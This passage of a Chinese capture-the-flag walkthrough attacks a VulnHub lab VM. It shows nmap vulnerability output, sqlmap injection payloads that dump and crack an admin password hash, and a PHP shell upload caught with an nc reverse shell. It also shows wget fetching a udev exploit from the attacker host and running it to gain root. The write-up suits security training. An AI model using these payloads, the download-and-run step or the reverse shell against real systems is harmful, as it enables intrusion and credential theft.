|       OpenSSL before 0.9.8za, 1.0.0 before 1.0.0m, and 1.0.1 before 1.0.1h
|       does not properly restrict processing of ChangeCipherSpec messages,
|       which allows man-in-the-middle attackers to trigger use of a zero
|       length master key in certain OpenSSL-to-OpenSSL communications, and
|       consequently hijack sessions or obtain sensitive information, via
|       a crafted TLS handshake, aka the "CCS Injection" vulnerability.
|           
|     References:
|       https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2014-0224
|       http://www.openssl.org/news/secadv_20140605.txt
|_      http://www.cvedetails.com/cve/2014-0224
| ssl-dh-params: 
|   VULNERABLE:
|   Anonymous Diffie-Hellman Key Exchange MitM Vulnerability
|     State: VULNERABLE
|       Transport Layer Security (TLS) services that use anonymous
|       Diffie-Hellman key exchange only provide protection against passive
|       eavesdropping, and are vulnerable to active man-in-the-middle attacks
|       which could completely compromise the confidentiality and integrity
|       of any data exchanged over the resulting session.
|     Check results:
|       ANONYMOUS DH GROUP 1
|             Cipher Suite: TLS_DH_anon_EXPORT_WITH_DES40_CBC_SHA
|             Modulus Type: Safe prime
|             Modulus Source: Unknown/Custom-generated
|             Modulus Length: 512
|             Generator Length: 8
|             Public Key Length: 512
|     References:
|       https://www.ietf.org/rfc/rfc2246.txt
|   
|   Transport Layer Security (TLS) Protocol DHE_EXPORT Ciphers Downgrade MitM (Logjam)
|     State: VULNERABLE
|     IDs:  CVE:CVE-2015-4000  BID:74733
|       The Transport Layer Security (TLS) protocol contains a flaw that is
|       triggered when handling Diffie-Hellman key exchanges defined with
|       the DHE_EXPORT cipher. This may allow a man-in-the-middle attacker
|       to downgrade the security of a TLS session to 512-bit export-grade
|       cryptography, which is significantly weaker, allowing the attacker
|       to more easily break the encryption and monitor or tamper with
|       the encrypted stream.
|     Disclosure date: 2015-5-19
|     Check results:
|       EXPORT-GRADE DH GROUP 1
|             Cipher Suite: TLS_DHE_RSA_EXPORT_WITH_DES40_CBC_SHA
|             Modulus Type: Safe prime
|             Modulus Source: Unknown/Custom-generated
|             Modulus Length: 512
|             Generator Length: 8
|             Public Key Length: 512
|     References:
|       https://weakdh.org
|       https://www.securityfocus.com/bid/74733
|       https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2015-4000
|   
|   Diffie-Hellman Key Exchange Insufficient Group Strength
|     State: VULNERABLE
|       Transport Layer Security (TLS) services that use Diffie-Hellman groups
|       of insufficient strength, especially those using one of a few commonly
|       shared groups, may be susceptible to passive eavesdropping attacks.
|     Check results:
|       WEAK DH GROUP 1
|             Cipher Suite: TLS_DHE_RSA_WITH_3DES_EDE_CBC_SHA
|             Modulus Type: Safe prime
|             Modulus Source: Unknown/Custom-generated
|             Modulus Length: 1024
|             Generator Length: 8
|             Public Key Length: 1024
|     References:
|_      https://weakdh.org
| ssl-poodle: 
|   VULNERABLE:
|   SSL POODLE information leak
|     State: VULNERABLE
|     IDs:  CVE:CVE-2014-3566  BID:70574
|           The SSL protocol 3.0, as used in OpenSSL through 1.0.1i and other
|           products, uses nondeterministic CBC padding, which makes it easier
|           for man-in-the-middle attackers to obtain cleartext data via a
|           padding-oracle attack, aka the "POODLE" issue.
|     Disclosure date: 2014-10-14
|     Check results:
|       TLS_RSA_WITH_AES_128_CBC_SHA
|     References:
|       https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2014-3566
|       https://www.imperialviolet.org/2014/10/14/poodle.html
|       https://www.openssl.org/~bodo/ssl-poodle.pdf
|_      https://www.securityfocus.com/bid/70574
| sslv2-drown: 
|   ciphers: 
|     SSL2_RC2_128_CBC_WITH_MD5
|     SSL2_RC4_128_EXPORT40_WITH_MD5
|     SSL2_RC2_128_CBC_EXPORT40_WITH_MD5
|     SSL2_DES_192_EDE3_CBC_WITH_MD5
|     SSL2_RC4_128_WITH_MD5
|   vulns: 
|     CVE-2016-0800: 
|       title: OpenSSL: Cross-protocol attack on TLS using SSLv2 (DROWN)
|       state: VULNERABLE
|       ids: 
|         CVE:CVE-2016-0800
|       description: 
|               The SSLv2 protocol, as used in OpenSSL before 1.0.1s and 1.0.2 before 1.0.2g and
|       other products, requires a server to send a ServerVerify message before establishing
|       that a client possesses certain plaintext RSA data, which makes it easier for remote
|       attackers to decrypt TLS ciphertext data by leveraging a Bleichenbacher RSA padding
|       oracle, aka a "DROWN" attack.
|     
|       refs: 
|         https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2016-0800
|_        https://www.openssl.org/news/secadv/20160301.txt
111/tcp  open  rpcbind    2 (RPC #100000)
|_clamav-exec: ERROR: Script execution failed (use -d to debug)
143/tcp  open  imap       Dovecot imapd
|_clamav-exec: ERROR: Script execution failed (use -d to debug)
| ssl-ccs-injection: 
|   VULNERABLE:
|   SSL/TLS MITM vulnerability (CCS Injection)
|     State: VULNERABLE
|     Risk factor: High
|       OpenSSL before 0.9.8za, 1.0.0 before 1.0.0m, and 1.0.1 before 1.0.1h
|       does not properly restrict processing of ChangeCipherSpec messages,
|       which allows man-in-the-middle attackers to trigger use of a zero
|       length master key in certain OpenSSL-to-OpenSSL communications, and
|       consequently hijack sessions or obtain sensitive information, via
|       a crafted TLS handshake, aka the "CCS Injection" vulnerability.
|           
|     References:
|       https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2014-0224
|       http://www.openssl.org/news/secadv_20140605.txt
|_      http://www.cvedetails.com/cve/2014-0224
| ssl-dh-params: 
|   VULNERABLE:
|   Anonymous Diffie-Hellman Key Exchange MitM Vulnerability
|     State: VULNERABLE
|       Transport Layer Security (TLS) services that use anonymous
|       Diffie-Hellman key exchange only provide protection against passive
|       eavesdropping, and are vulnerable to active man-in-the-middle attacks
|       which could completely compromise the confidentiality and integrity
|       of any data exchanged over the resulting session.
|     Check results:
|       ANONYMOUS DH GROUP 1
|             Cipher Suite: TLS_DH_anon_EXPORT_WITH_DES40_CBC_SHA
|             Modulus Type: Safe prime
|             Modulus Source: Unknown/Custom-generated
|             Modulus Length: 512
|             Generator Length: 8
|             Public Key Length: 512
|     References:
|       https://www.ietf.org/rfc/rfc2246.txt
|   
|   Transport Layer Security (TLS) Protocol DHE_EXPORT Ciphers Downgrade MitM (Logjam)
|     State: VULNERABLE
|     IDs:  CVE:CVE-2015-4000  BID:74733
|       The Transport Layer Security (TLS) protocol contains a flaw that is
|       triggered when handling Diffie-Hellman key exchanges defined with
|       the DHE_EXPORT cipher. This may allow a man-in-the-middle attacker
|       to downgrade the security of a TLS session to 512-bit export-grade
|       cryptography, which is significantly weaker, allowing the attacker
|       to more easily break the encryption and monitor or tamper with
|       the encrypted stream.
|     Disclosure date: 2015-5-19
|     Check results:
|       EXPORT-GRADE DH GROUP 1
|             Cipher Suite: TLS_DHE_RSA_EXPORT_WITH_DES40_CBC_SHA
|             Modulus Type: Safe prime
|             Modulus Source: Unknown/Custom-generated
|             Modulus Length: 512
|             Generator Length: 8
|             Public Key Length: 512
|     References:
|       https://weakdh.org
|       https://www.securityfocus.com/bid/74733
|       https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2015-4000
|   
|   Diffie-Hellman Key Exchange Insufficient Group Strength
|     State: VULNERABLE
|       Transport Layer Security (TLS) services that use Diffie-Hellman groups
|       of insufficient strength, especially those using one of a few commonly
|       shared groups, may be susceptible to passive eavesdropping attacks.
|     Check results:
|       WEAK DH GROUP 1
|             Cipher Suite: TLS_DHE_RSA_WITH_3DES_EDE_CBC_SHA
|             Modulus Type: Safe prime
|             Modulus Source: Unknown/Custom-generated
|             Modulus Length: 1024
|             Generator Length: 8
|             Public Key Length: 1024
|     References:
|_      https://weakdh.org
| ssl-poodle: 
|   VULNERABLE:
|   SSL POODLE information leak
|     State: VULNERABLE
|     IDs:  CVE:CVE-2014-3566  BID:70574
|           The SSL protocol 3.0, as used in OpenSSL through 1.0.1i and other
|           products, uses nondeterministic CBC padding, which makes it easier
|           for man-in-the-middle attackers to obtain cleartext data via a
|           padding-oracle attack, aka the "POODLE" issue.
|     Disclosure date: 2014-10-14
|     Check results:
|       TLS_RSA_WITH_AES_128_CBC_SHA
|     References:
|       https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2014-3566
|       https://www.imperialviolet.org/2014/10/14/poodle.html
|       https://www.openssl.org/~bodo/ssl-poodle.pdf
|_      https://www.securityfocus.com/bid/70574
|_sslv2-drown: ERROR: Script execution failed (use -d to debug)
443/tcp  open  ssl/https?
|_clamav-exec: ERROR: Script execution failed (use -d to debug)
|_http-aspnet-debug: ERROR: Script execution failed (use -d to debug)
|_http-csrf: Couldn't find any CSRF vulnerabilities.
|_http-dombased-xss: Couldn't find any DOM based XSS.
|_http-stored-xss: Couldn't find any stored XSS vulnerabilities.
|_http-vuln-cve2014-3704: ERROR: Script execution failed (use -d to debug)
| ssl-ccs-injection: 
|   VULNERABLE:
|   SSL/TLS MITM vulnerability (CCS Injection)
|     State: VULNERABLE
|     Risk factor: High
|       OpenSSL before 0.9.8za, 1.0.0 before 1.0.0m, and 1.0.1 before 1.0.1h
|       does not properly restrict processing of ChangeCipherSpec messages,
|       which allows man-in-the-middle attackers to trigger use of a zero
|       length master key in certain OpenSSL-to-OpenSSL communications, and
|       consequently hijack sessions or obtain sensitive information, via
|       a crafted TLS handshake, aka the "CCS Injection" vulnerability.
|           
|     References:
|       https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2014-0224
|       http://www.openssl.org/news/secadv_20140605.txt
|_      http://www.cvedetails.com/cve/2014-0224
| ssl-dh-params: 
|   VULNERABLE:
|   Diffie-Hellman Key Exchange Insufficient Group Strength
|     State: VULNERABLE
|       Transport Layer Security (TLS) services that use Diffie-Hellman groups
|       of insufficient strength, especially those using one of a few commonly
|       shared groups, may be susceptible to passive eavesdropping attacks.
|     Check results:
|       WEAK DH GROUP 1
|             Cipher Suite: TLS_DHE_RSA_WITH_3DES_EDE_CBC_SHA
|             Modulus Type: Safe prime
|             Modulus Source: mod_ssl 2.2.x/1024-bit MODP group with safe prime modulus
|             Modulus Length: 1024
|             Generator Length: 8
|             Public Key Length: 1024
|     References:
|_      https://weakdh.org
| ssl-poodle: 
|   VULNERABLE:
|   SSL POODLE information leak
|     State: VULNERABLE
|     IDs:  CVE:CVE-2014-3566  BID:70574
|           The SSL protocol 3.0, as used in OpenSSL through 1.0.1i and other
|           products, uses nondeterministic CBC padding, which makes it easier
|           for man-in-the-middle attackers to obtain cleartext data via a
|           padding-oracle attack, aka the "POODLE" issue.
|     Disclosure date: 2014-10-14
|     Check results:
|       TLS_RSA_WITH_AES_128_CBC_SHA
|     References:
|       https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2014-3566
|       https://www.imperialviolet.org/2014/10/14/poodle.html
|       https://www.openssl.org/~bodo/ssl-poodle.pdf
|_      https://www.securityfocus.com/bid/70574
|_sslv2-drown: 
993/tcp  open  ssl/imaps?
|_clamav-exec: ERROR: Script execution failed (use -d to debug)
| ssl-ccs-injection: 
|   VULNERABLE:
|   SSL/TLS MITM vulnerability (CCS Injection)
|     State: VULNERABLE
|     Risk factor: High
|       OpenSSL before 0.9.8za, 1.0.0 before 1.0.0m, and 1.0.1 before 1.0.1h
|       does not properly restrict processing of ChangeCipherSpec messages,
|       which allows man-in-the-middle attackers to trigger use of a zero
|       length master key in certain OpenSSL-to-OpenSSL communications, and
|       consequently hijack sessions or obtain sensitive information, via
|       a crafted TLS handshake, aka the "CCS Injection" vulnerability.
|           
|     References:
|       https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2014-0224
|       http://www.openssl.org/news/secadv_20140605.txt
|_      http://www.cvedetails.com/cve/2014-0224
| ssl-dh-params: 
|   VULNERABLE:
|   Anonymous Diffie-Hellman Key Exchange MitM Vulnerability
|     State: VULNERABLE
|       Transport Layer Security (TLS) services that use anonymous
|       Diffie-Hellman key exchange only provide protection against passive
|       eavesdropping, and are vulnerable to active man-in-the-middle attacks
|       which could completely compromise the confidentiality and integrity
|       of any data exchanged over the resulting session.
|     Check results:
|       ANONYMOUS DH GROUP 1
|             Cipher Suite: TLS_DH_anon_EXPORT_WITH_DES40_CBC_SHA
|             Modulus Type: Safe prime
|             Modulus Source: Unknown/Custom-generated
|             Modulus Length: 512
|             Generator Length: 8
|             Public Key Length: 512
|     References:
|       https://www.ietf.org/rfc/rfc2246.txt
|   
|   Transport Layer Security (TLS) Protocol DHE_EXPORT Ciphers Downgrade MitM (Logjam)
|     State: VULNERABLE
|     IDs:  CVE:CVE-2015-4000  BID:74733
|       The Transport Layer Security (TLS) protocol contains a flaw that is
|       triggered when handling Diffie-Hellman key exchanges defined with
|       the DHE_EXPORT cipher. This may allow a man-in-the-middle attacker
|       to downgrade the security of a TLS session to 512-bit export-grade
|       cryptography, which is significantly weaker, allowing the attacker
|       to more easily break the encryption and monitor or tamper with
|       the encrypted stream.
|     Disclosure date: 2015-5-19
|     Check results:
|       EXPORT-GRADE DH GROUP 1
|             Cipher Suite: TLS_DHE_RSA_EXPORT_WITH_DES40_CBC_SHA
|             Modulus Type: Safe prime
|             Modulus Source: Unknown/Custom-generated
|             Modulus Length: 512
|             Generator Length: 8
|             Public Key Length: 512
|     References:
|       https://weakdh.org
|       https://www.securityfocus.com/bid/74733
|       https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2015-4000
|   
|   Diffie-Hellman Key Exchange Insufficient Group Strength
|     State: VULNERABLE
|       Transport Layer Security (TLS) services that use Diffie-Hellman groups
|       of insufficient strength, especially those using one of a few commonly
|       shared groups, may be susceptible to passive eavesdropping attacks.
|     Check results:
|       WEAK DH GROUP 1
|             Cipher Suite: TLS_DHE_RSA_WITH_3DES_EDE_CBC_SHA
|             Modulus Type: Safe prime
|             Modulus Source: Unknown/Custom-generated
|             Modulus Length: 1024
|             Generator Length: 8
|             Public Key Length: 1024
|     References:
|_      https://weakdh.org
| ssl-poodle: 
|   VULNERABLE:
|   SSL POODLE information leak
|     State: VULNERABLE
|     IDs:  CVE:CVE-2014-3566  BID:70574
|           The SSL protocol 3.0, as used in OpenSSL through 1.0.1i and other
|           products, uses nondeterministic CBC padding, which makes it easier
|           for man-in-the-middle attackers to obtain cleartext data via a
|           padding-oracle attack, aka the "POODLE" issue.
|     Disclosure date: 2014-10-14
|     Check results:
|       TLS_RSA_WITH_AES_128_CBC_SHA
|     References:
|       https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2014-3566
|       https://www.imperialviolet.org/2014/10/14/poodle.html
|       https://www.openssl.org/~bodo/ssl-poodle.pdf
|_      https://www.securityfocus.com/bid/70574
| sslv2-drown: 
|   ciphers: 
|     SSL2_RC2_128_CBC_WITH_MD5
|     SSL2_RC4_128_EXPORT40_WITH_MD5
|     SSL2_RC2_128_CBC_EXPORT40_WITH_MD5
|     SSL2_DES_192_EDE3_CBC_WITH_MD5
|     SSL2_RC4_128_WITH_MD5
|   vulns: 
|     CVE-2016-0800: 
|       title: OpenSSL: Cross-protocol attack on TLS using SSLv2 (DROWN)
|       state: VULNERABLE
|       ids: 
|         CVE:CVE-2016-0800
|       description: 
|               The SSLv2 protocol, as used in OpenSSL before 1.0.1s and 1.0.2 before 1.0.2g and
|       other products, requires a server to send a ServerVerify message before establishing
|       that a client possesses certain plaintext RSA data, which makes it easier for remote
|       attackers to decrypt TLS ciphertext data by leveraging a Bleichenbacher RSA padding
|       oracle, aka a "DROWN" attack.
|     
|       refs: 
|         https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2016-0800
|_        https://www.openssl.org/news/secadv/20160301.txt
995/tcp  open  ssl/pop3s?
|_clamav-exec: ERROR: Script execution failed (use -d to debug)
| ssl-ccs-injection: 
|   VULNERABLE:
|   SSL/TLS MITM vulnerability (CCS Injection)
|     State: VULNERABLE
|     Risk factor: High
|       OpenSSL before 0.9.8za, 1.0.0 before 1.0.0m, and 1.0.1 before 1.0.1h
|       does not properly restrict processing of ChangeCipherSpec messages,
|       which allows man-in-the-middle attackers to trigger use of a zero
|       length master key in certain OpenSSL-to-OpenSSL communications, and
|       consequently hijack sessions or obtain sensitive information, via
|       a crafted TLS handshake, aka the "CCS Injection" vulnerability.
|           
|     References:
|       https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2014-0224
|       http://www.openssl.org/news/secadv_20140605.txt
|_      http://www.cvedetails.com/cve/2014-0224
| ssl-dh-params: 
|   VULNERABLE:
|   Anonymous Diffie-Hellman Key Exchange MitM Vulnerability
|     State: VULNERABLE
|       Transport Layer Security (TLS) services that use anonymous
|       Diffie-Hellman key exchange only provide protection against passive
|       eavesdropping, and are vulnerable to active man-in-the-middle attacks
|       which could completely compromise the confidentiality and integrity
|       of any data exchanged over the resulting session.
|     Check results:
|       ANONYMOUS DH GROUP 1
|             Cipher Suite: TLS_DH_anon_EXPORT_WITH_DES40_CBC_SHA
|             Modulus Type: Safe prime
|             Modulus Source: Unknown/Custom-generated
|             Modulus Length: 512
|             Generator Length: 8
|             Public Key Length: 512
|     References:
|       https://www.ietf.org/rfc/rfc2246.txt
|   
|   Transport Layer Security (TLS) Protocol DHE_EXPORT Ciphers Downgrade MitM (Logjam)
|     State: VULNERABLE
|     IDs:  CVE:CVE-2015-4000  BID:74733
|       The Transport Layer Security (TLS) protocol contains a flaw that is
|       triggered when handling Diffie-Hellman key exchanges defined with
|       the DHE_EXPORT cipher. This may allow a man-in-the-middle attacker
|       to downgrade the security of a TLS session to 512-bit export-grade
|       cryptography, which is significantly weaker, allowing the attacker
|       to more easily break the encryption and monitor or tamper with
|       the encrypted stream.
|     Disclosure date: 2015-5-19
|     Check results:
|       EXPORT-GRADE DH GROUP 1
|             Cipher Suite: TLS_DHE_RSA_EXPORT_WITH_DES40_CBC_SHA
|             Modulus Type: Safe prime
|             Modulus Source: Unknown/Custom-generated
|             Modulus Length: 512
|             Generator Length: 8
|             Public Key Length: 512
|     References:
|       https://weakdh.org
|       https://www.securityfocus.com/bid/74733
|       https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2015-4000
|   
|   Diffie-Hellman Key Exchange Insufficient Group Strength
|     State: VULNERABLE
|       Transport Layer Security (TLS) services that use Diffie-Hellman groups
|       of insufficient strength, especially those using one of a few commonly
|       shared groups, may be susceptible to passive eavesdropping attacks.
|     Check results:
|       WEAK DH GROUP 1
|             Cipher Suite: TLS_DHE_RSA_WITH_3DES_EDE_CBC_SHA
|             Modulus Type: Safe prime
|             Modulus Source: Unknown/Custom-generated
|             Modulus Length: 1024
|             Generator Length: 8
|             Public Key Length: 1024
|     References:
|_      https://weakdh.org
| ssl-poodle: 
|   VULNERABLE:
|   SSL POODLE information leak
|     State: VULNERABLE
|     IDs:  CVE:CVE-2014-3566  BID:70574
|           The SSL protocol 3.0, as used in OpenSSL through 1.0.1i and other
|           products, uses nondeterministic CBC padding, which makes it easier
|           for man-in-the-middle attackers to obtain cleartext data via a
|           padding-oracle attack, aka the "POODLE" issue.
|     Disclosure date: 2014-10-14
|     Check results:
|       TLS_RSA_WITH_AES_128_CBC_SHA
|     References:
|       https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2014-3566
|       https://www.imperialviolet.org/2014/10/14/poodle.html
|       https://www.openssl.org/~bodo/ssl-poodle.pdf
|_      https://www.securityfocus.com/bid/70574
|_sslv2-drown: ERROR: Script execution failed (use -d to debug)
3306/tcp open  mysql      MySQL 5.0.45
|_clamav-exec: ERROR: Script execution failed (use -d to debug)
|_mysql-vuln-cve2012-2122: ERROR: Script execution failed (use -d to debug)
| vulners: 
|   cpe:/a:mysql:mysql:5.0.45: 
|       CVE-2009-2446   8.5     https://vulners.com/cve/CVE-2009-2446
|       CVE-2008-0226   7.5     https://vulners.com/cve/CVE-2008-0226
|       CVE-2009-5026   6.8     https://vulners.com/cve/CVE-2009-5026
|       CVE-2009-4028   6.8     https://vulners.com/cve/CVE-2009-4028
|       CVE-2010-1848   6.5     https://vulners.com/cve/CVE-2010-1848
|       CVE-2010-1850   6.0     https://vulners.com/cve/CVE-2010-1850
|       CVE-2008-7247   6.0     https://vulners.com/cve/CVE-2008-7247
|       CVE-2010-3833   5.0     https://vulners.com/cve/CVE-2010-3833
|       CVE-2010-1849   5.0     https://vulners.com/cve/CVE-2010-1849
|       CVE-2008-4098   4.6     https://vulners.com/cve/CVE-2008-4098
|       CVE-2008-2079   4.6     https://vulners.com/cve/CVE-2008-2079
|       CVE-2012-0490   4.0     https://vulners.com/cve/CVE-2012-0490
|       CVE-2012-0484   4.0     https://vulners.com/cve/CVE-2012-0484
|       CVE-2012-0102   4.0     https://vulners.com/cve/CVE-2012-0102
|       CVE-2012-0101   4.0     https://vulners.com/cve/CVE-2012-0101
|       CVE-2012-0087   4.0     https://vulners.com/cve/CVE-2012-0087
|       CVE-2010-3838   4.0     https://vulners.com/cve/CVE-2010-3838
|       CVE-2010-3837   4.0     https://vulners.com/cve/CVE-2010-3837
|       CVE-2010-3836   4.0     https://vulners.com/cve/CVE-2010-3836
|       CVE-2010-3834   4.0     https://vulners.com/cve/CVE-2010-3834
|       CVE-2010-3682   4.0     https://vulners.com/cve/CVE-2010-3682
|       CVE-2010-3677   4.0     https://vulners.com/cve/CVE-2010-3677
|       CVE-2009-4019   4.0     https://vulners.com/cve/CVE-2009-4019
|       CVE-2008-3963   4.0     https://vulners.com/cve/CVE-2008-3963
|       CVE-2010-1626   3.6     https://vulners.com/cve/CVE-2010-1626
|       CVE-2012-0114   3.0     https://vulners.com/cve/CVE-2012-0114
|       CVE-2008-4456   2.6     https://vulners.com/cve/CVE-2008-4456
|_      CVE-2012-0075   1.7     https://vulners.com/cve/CVE-2012-0075
```

可以发现开了很多端口和服务，存在非常多的漏洞

点击主页上的read more,发现存在id参数，抓包直接sqlmap注入一波

``` bash
$ sqlmap.py -r sqlmap.txt
        ___
       __H__
 ___ ___[)]_____ ___ ___  {1.3.12.1#dev}
|_ -| . [.]     | .'| . |
|___|_  [,]_|_|_|__,|  _|
      |_|V...       |_|   http://sqlmap.org

[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program

[*] starting @ 10:33:15 /2019-12-17/

[10:33:15] [INFO] parsing HTTP request from 'sqlmap.txt'
[10:33:16] [INFO] resuming back-end DBMS 'mysql'
[10:33:16] [INFO] testing connection to the target URL
sqlmap resumed the following injection point(s) from stored session:
---
Parameter: id (GET)
    Type: boolean-based blind
    Title: AND boolean-based blind - WHERE or HAVING clause
    Payload: id=4 AND 8397=8397

    Type: time-based blind
    Title: MySQL >= 5.0.12 OR time-based blind (query SLEEP)
    Payload: id=4 OR (SELECT 1251 FROM (SELECT(SLEEP(5)))iJMb)

    Type: UNION query
    Title: Generic UNION query (NULL) - 7 columns
    Payload: id=4 UNION ALL SELECT NULL,NULL,CONCAT(0x7171716271,0x5477494d6f456c6a6e4e72506d666a7a565248436e516d504f497075554b6169514b706166706b6e,0x7162716b71),NULL,NULL,NULL,NULL-- rTAY
---
[10:33:16] [INFO] the back-end DBMS is MySQL
back-end DBMS: MySQL >= 5.0.12
[10:33:16] [INFO] fetched data logged to text files under 'C:\Users\HASEE\AppData\Local\sqlmap\output\192.168.142.129'

[*] ending @ 10:33:16 /2019-12-17/
```

得到登录的用户名和密码

``` bash
$ sqlmap.py -r sqlmap.txt -D cms -T user --dump
        ___
       __H__
 ___ ___[(]_____ ___ ___  {1.3.12.1#dev}
|_ -| . [.]     | .'| . |
|___|_  [,]_|_|_|__,|  _|
      |_|V...       |_|   http://sqlmap.org

[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program

[*] starting @ 10:25:54 /2019-12-17/

[10:25:54] [INFO] parsing HTTP request from 'sqlmap.txt'
[10:25:54] [INFO] resuming back-end DBMS 'mysql'
[10:25:54] [INFO] testing connection to the target URL
sqlmap resumed the following injection point(s) from stored session:
---
Parameter: id (GET)
    Type: boolean-based blind
    Title: AND boolean-based blind - WHERE or HAVING clause
    Payload: id=4 AND 8397=8397

    Type: time-based blind
    Title: MySQL >= 5.0.12 OR time-based blind (query SLEEP)
    Payload: id=4 OR (SELECT 1251 FROM (SELECT(SLEEP(5)))iJMb)

    Type: UNION query
    Title: Generic UNION query (NULL) - 7 columns
    Payload: id=4 UNION ALL SELECT NULL,NULL,CONCAT(0x7171716271,0x5477494d6f456c6a6e4e72506d666a7a565248436e516d504f497075554b6169514b706166706b6e,0x7162716b71),NULL,NULL,NULL,NULL-- rTAY
---
[10:25:54] [INFO] the back-end DBMS is MySQL
back-end DBMS: MySQL >= 5.0.12
[10:25:54] [INFO] fetching columns for table 'user' in database 'cms'
[10:25:54] [INFO] fetching entries for table 'user' in database 'cms'
[10:25:54] [INFO] recognized possible password hashes in column 'user_password'
do you want to store hashes to a temporary file for eventual further processing with other tools [y/N] N
do you want to crack them via a dictionary-based attack? [Y/n/q] Y
[10:25:54] [INFO] using hash method 'md5_generic_passwd'
what dictionary do you want to use?
[1] default dictionary file 'D:\burpcn2.0\BurpSuite_pro_v2.1\BurpSuite_pro_v2.1\data\txt\wordlist.tx_' (press Enter)
[2] custom dictionary file
[3] file with list of dictionary files
> 1
[10:25:54] [INFO] using default dictionary
do you want to use common password suffixes? (slow!) [y/N] N
[10:25:54] [INFO] starting dictionary-based cracking (md5_generic_passwd)
[10:25:54] [INFO] starting 12 processes
[10:25:58] [INFO] cracked password 'adminpass' for hash '25e4ee4e9229397b6b17776bfceaf8e7'
[10:26:04] [INFO] current status: ZZyZZ... \Database: cms
Table: user
[1 entry]
+---------+----------------------------------------------+---------------+
| user_id | user_password                                | user_username |
+---------+----------------------------------------------+---------------+
| 1       | 25e4ee4e9229397b6b17776bfceaf8e7 (adminpass) | admin         |
+---------+----------------------------------------------+---------------+

[10:26:04] [INFO] table 'cms.`user`' dumped to CSV file 'C:\Users\HASEE\AppData\Local\sqlmap\output\192.168.142.129\dump\cms\user.csv'
[10:26:04] [INFO] fetched data logged to text files under 'C:\Users\HASEE\AppData\Local\sqlmap\output\192.168.142.129'

[*] ending @ 10:26:04 /2019-12-17/
```

成功之后直接上传.php文件

![](https://raw.githubusercontent.com/wiki/FDlucifer/FDlucifer.github.io/vulnhub64.jpg)

如下图所示成功上传，然后访问shell，kali端nc -lvp 5566监听

![](https://raw.githubusercontent.com/wiki/FDlucifer/FDlucifer.github.io/vulnhub65.jpg)

成功返回shell

``` bash
root@kali:~# nc -lvp 5566
listening on [any] 5566 ...
192.168.142.129: inverse host lookup failed: Unknown host
connect to [192.168.142.128] from (UNKNOWN) [192.168.142.129] 37560
Linux localhost.localdomain 2.6.18-92.el5 #1 SMP Tue Jun 10 18:49:47 EDT 2008 i686 i686 i386 GNU/Linux
 02:37:06 up  1:08,  0 users,  load average: 0.10, 0.08, 0.45
USER     TTY      FROM              LOGIN@   IDLE   JCPU   PCPU WHAT
uid=48(apache) gid=48(apache) groups=48(apache)
sh: no job control in this shell
sh-3.2$ id
uid=48(apache) gid=48(apache) groups=48(apache)
sh-3.2$ whoami
apache
sh-3.2$ pwd
/
sh-3.2$
```

#### 提权

命令行信息收集

``` bash
sh-3.2$ python -c 'import pty; pty.spawn("/bin/sh")'
sh-3.2$ uname -a
Linux localhost.localdomain 2.6.18-92.el5 #1 SMP Tue Jun 10 18:49:47 EDT 2008 i686 i686 i386 GNU/Linux
sh-3.2$ cat /etc/*release*
cat: /etc/lsb-release.d: Is a directory
CentOS release 5.2 (Final)
```

下载提权脚本开始提权，[exploits-8478](https://www.exploit-db.com/exploits/8478)


kali执行
``` bash
root@kali:~# python -m SimpleHTTPServer
Serving HTTP on 0.0.0.0 port 8000 ...
```

shell中执行

``` bash
sh-3.2$ wget http://192.168.142.128:8000/8478.sh
wget http://192.168.142.128:8000/8478.sh
--02:52:03--  http://192.168.142.128:8000/8478.sh
Connecting to 192.168.142.128:8000... connected.
HTTP request sent, awaiting response... 200 OK
Length: 3498 (3.4K) [text/x-sh]
Saving to: `8478.sh'

100%[=======================================>] 3,498       --.-K/s   in 0s     

02:52:03 (603 MB/s) - `8478.sh' saved [3498/3498]
```
该漏洞利用程序需要udev进程的PID，运行脚本开始提权，该漏洞利用程序无法完美运行，在下面看到的那样，需要进行多次尝试才能获得root shell。

``` bash
sh-3.2$ cat /proc/net/netlink
sk       Eth Pid    Groups   Rmem     Wmem     Dump     Locks
cf865000 0   2930   00000111 0        0        00000000 2
cfebce00 0   0      00000000 0        0        00000000 2
cfc94a00 6   0      00000000 0        0        00000000 2
cfe70600 7   0      00000000 0        0        00000000 2
cf86ec00 9   2260   00000000 0        0        00000000 2
cfe5fe00 9   0      00000000 0        0        00000000 2
cf54fc00 10  0      00000000 0        0        00000000 2
cf517c00 11  0      00000000 0        0        00000000 2
cfebcc00 15  0      00000000 0        0        00000000 2
cfc94400 15  554    ffffffff 0        0        00000000 2
cf517a00 16  0      00000000 0        0        00000000 2
cfd2fa00 18  0      00000000 0        0        00000000 2
sh-3.2$ sed -i -e 's/\r$//' 8478.sh
sh-3.2$ ./8478.sh 554
suid.c: In function 'main':
suid.c:3: warning: incompatible implicit declaration of built-in function 'execl'
sh-3.2$ ./8478.sh 554
./8478.sh 554
suid.c: In function 'main':
suid.c:3: warning: incompatible implicit declaration of built-in function 'execl'
sh-3.2# whoami
whoami
root
sh-3.2# id
id
uid=0(root) gid=0(root) groups=48(apache)
sh-3.2#
```
![](https://raw.githubusercontent.com/wiki/FDlucifer/FDlucifer.github.io/vulnhub66.jpg)

提权成功,注意，脚本下载完成后运行

``` bash
sed -i -e 's/\r$//' 8478.sh
```

这条命令很重要，不运行此命令，脚本无法执行

